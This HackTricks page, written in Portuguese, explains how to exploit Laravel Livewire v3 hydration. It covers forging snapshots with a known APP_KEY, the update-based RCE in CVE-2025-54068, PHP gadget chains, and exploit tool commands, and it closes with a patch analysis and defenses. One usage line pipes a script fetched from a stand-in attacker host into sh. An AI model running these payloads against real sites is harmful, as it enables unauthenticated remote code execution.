Laravel Livewire Hydration & Synthesizer Abuse
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.
Recapitulação da state machine do Livewire
Componentes Livewire 3 trocam seu estado por meio de snapshots que contêm data, memo e um checksum. Cada POST para /livewire/update rehidrata o snapshot JSON no lado do servidor e executa os calls/updates enfileirados.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Quem possuir APP_KEY (usada para derivar $hashKey) pode, portanto, forjar snapshots arbitrários recomputando o HMAC.
Propriedades complexas são codificadas como synthetic tuples detectados por Livewire\Drawer\BaseUtils::isSyntheticTuple(); cada tuple é [value, {"s":"<key>", ...meta}]. O core de hydration simplesmente delega cada tuple ao synth selecionado em HandleComponents::$propertySynthesizers e recursivamente percorre os filhos:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Este design recursivo faz do Livewire um generic object-instantiation engine assim que um atacante controla o metadado da tupla ou qualquer tupla aninhada processada durante a recursão.
Synthesizers que concedem gadget primitives
| Synthesizer | Comportamento controlado pelo atacante |
|---|---|
CollectionSynth (clctn) | Instancia new $meta['class']($value) depois de reidratar cada child. Qualquer class com um constructor de array pode ser criada, e cada item também pode ser uma synthetic tuple. |
FormObjectSynth (form) | Chama new $meta['class']($component, $path), depois atribui cada public property a partir de children controlados pelo atacante via $hydrateChild. Constructors que aceitam dois parâmetros de tipo frouxo (ou default args) bastam para alcançar arbitrary public properties. |
ModelSynth (mdl) | Quando key está ausente de meta, executa return new $class;, permitindo instantiation sem argumentos de qualquer class sob controle do atacante. |
Como os synths invocam $hydrateChild em cada elemento aninhado, arbitrary gadget graphs podem ser construídos empilhando tuples recursivamente.
Forjando snapshots quando APP_KEY é conhecido
- Capture uma requisição legítima
/livewire/updatee decodifiquecomponents[0].snapshot. - Injete nested tuples que apontem para gadget classes e recalcule
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Re-encode o snapshot, mantenha
_token/memointocados, e reenvie a requisição.
Uma proof of execution mínima usa Guzzle’s FnStream e Flysystem’s ShardedPrefixPublicUrlGenerator. Uma tuple instancia FnStream com dados do constructor { "__toString": "phpinfo" }, a próxima instancia ShardedPrefixPublicUrlGenerator com [FnStreamInstance] como $prefixes. Quando o Flysystem faz cast de cada prefix para string, o PHP invoca o callable __toString fornecido pelo atacante, chamando qualquer function sem argumentos.
De function calls para full RCE
Aproveitando as instantiation primitives do Livewire, a Synacktiv adaptou a chain Laravel/RCE4 do phpggc para que a hydration inicialize um object cuja public Queueable state aciona deserialization:
- Queueable trait – qualquer object que use
Illuminate\Bus\Queueableexpõe public$chainede executaunserialize(array_shift($this->chained))emdispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) é instanciado viaCollectionSynth/FormObjectSynthcom public$chainedpreenchido. - phpggc Laravel/RCE4Adapted – o serialized blob armazenado em
$chained[0]constróiPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()finalmente chamacall_user_func_array($closure, $args), permitindosystem($cmd). - Stealth termination – ao passar um segundo callable de
FnStreamcomo[new Laravel\Prompts\Terminal(), 'exit'], a request termina comexit()em vez de uma exception ruidosa, mantendo a HTTP response limpa.
Automatizando a snapshot forgery
synacktiv/laravel-crypto-killer agora inclui um modo livewire que une tudo:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
A ferramenta analisa o snapshot capturado, injeta as tuplas gadget, recalcula o checksum e imprime um payload /livewire/update pronto para enviar.
CVE-2025-54068 – RCE without APP_KEY
De acordo com o advisory do vendor, o issue afeta Livewire v3 (>= 3.0.0-beta.1 and <= 3.6.3) e é exclusivo da v3.
updates são mesclados ao estado do component depois que o snapshot checksum é validado. Se uma property dentro do snapshot for (ou se tornar) uma synthetic tuple, o Livewire reutiliza seus meta enquanto faz hydrating do valor de update controlado pelo attacker:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Receita de exploração:
- Encontre um componente Livewire com uma propriedade pública sem tipo (por exemplo,
public $count;). - Envie uma atualização que defina essa propriedade como
[]. O próximo snapshot agora a armazena como[[], {"s": "arr"}].
Um fluxo mínimo de type-juggling fica assim:
POST /livewire/update
...
"updates": {"count": []}
Depois, o próximo snapshot armazena uma tuple que mantém os metadados do synthesizer arr:
"count": [[], {"s": "arr"}]
- Crie outro payload de
updatesno qual essa propriedade contenha um array profundamente aninhado, embutindo tuples como[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Durante a recursão,
hydrate()avalia cada filho aninhado de forma independente, então synth keys/classes escolhidos pelo atacante são respeitados, mesmo que a tuple externa e o checksum nunca tenham mudado. - Reutilize os mesmos primitives
CollectionSynth/FormObjectSynthpara instanciar um gadget Queueable cujo$chained[0]contém o payload do phpggc. O Livewire processa as updates forjadas, invocadispatchNextJobInChain(), e alcançasystem(<cmd>)sem conhecerAPP_KEY.
Principais motivos de isso funcionar:
updatesnão são cobertos pelo checksum do snapshot.getMetaForPath()confia em quaisquer metadados synth que já existiam para aquela propriedade, mesmo se o atacante a tiver forçado previamente a se tornar uma tuple por meio de weak typing.- Recursão mais weak typing permite que cada array aninhado seja interpretado como uma nova tuple, então synth keys arbitrárias e classes arbitrárias acabam chegando à hydration.
Target pre-auth de alto valor: Filament login forms
Applications construídas em cima de Livewire frequentemente expõem uma superfície pre-auth ainda mais fácil do que uma propriedade public $count; de exemplo. Por exemplo, páginas de login do Filament normalmente hidratam um objeto $form com tipagem fraca, que já está serializado como uma tuple form no snapshot. Isso remove completamente a etapa de setup “scalar -> array -> arr tuple”:
- O snapshot já contém algo como
{"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}. - Um atacante pode enviar
updates.formcom tuples maliciosas aninhadas diretamente, porque a recursão eventualmente reinterpretará filhos como[payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}]. - É por isso que entrypoints pre-auth do Livewire que expõem objetos
FormObjectSynthsão especialmente atraentes: eles já fornecem tanto a instanciação quanto a atribuição de propriedades públicas.
Análise do patch: preservar metadados raw durante a recursão de update
A correção introduz um caminho dedicado hydratePropertyUpdate() para que valores de updates aninhados não chamem mais hydrate($child, ...) genérico em filhos controlados pelo atacante:
protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}
Impacto de segurança do patch:
- Atualizações aninhadas são revalidadas contra o caminho original do raw snapshot, em vez de confiar em novos metadados de tupla fornecidos pelo atacante.
- A hydration recursiva não permite mais que children redefinam
souclassno meio do processamento. - Isso bloqueia tanto a troca arbitrária de synthesizer quanto a seleção arbitrária de class dentro de arrays de atualização aninhados.
Livepyre – exploração end-to-end
Livepyre automatiza tanto a CVE sem APP_KEY quanto o caminho de signed-snapshot:
- Faz fingerprint da versão do Livewire implantada analisando
<script src="/livewire/livewire.js?id=HASH">(ou?v=HASH) e mapeando o hash para releases vulneráveis. - Coleta snapshots de base reproduzindo ações benignas e extraindo
components[].snapshot. - Gera um payload apenas de
updates(CVE-2025-54068) ou um snapshot forjado (APP_KEY conhecido) incorporando a cadeia phpggc. - Se nenhum parâmetro tipado como object for encontrado em um snapshot, o Livepyre recorre a brute-forcing de parâmetros candidatos para alcançar uma propriedade coercible.
Uso típico:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check executa uma probe não destrutiva, -F ignora o version gating, -H e -P adicionam custom headers ou proxies, e --function/--param personalizam a php function invocada pela gadget chain.
Considerações defensivas
- Faça upgrade para builds do Livewire corrigidos (>= 3.6.4 de acordo com o vendor bulletin) e aplique o patch do vendor para CVE-2025-54068.
- Evite public properties com tipagem fraca em componentes do Livewire; tipos escalares explícitos impedem que os values das properties sejam coerçados para arrays/tuples.
- Registre apenas os synthesizers de que você realmente precisa e trate metadados controlados pelo usuário (
$meta['class']) como untrusted. - Rejeite updates que alterem o JSON type de uma property (por exemplo, scalar -> array) a menos que isso seja explicitamente permitido, e re-derive synth metadata em vez de reutilizar tuples stale.
- Faça rotate do
APP_KEYimediatamente após qualquer disclosure, porque ele permite offline snapshot forging independentemente de quão patchado o code-base esteja.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
- livewire/livewire commit
ef04be7– Fix property update hydration
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.


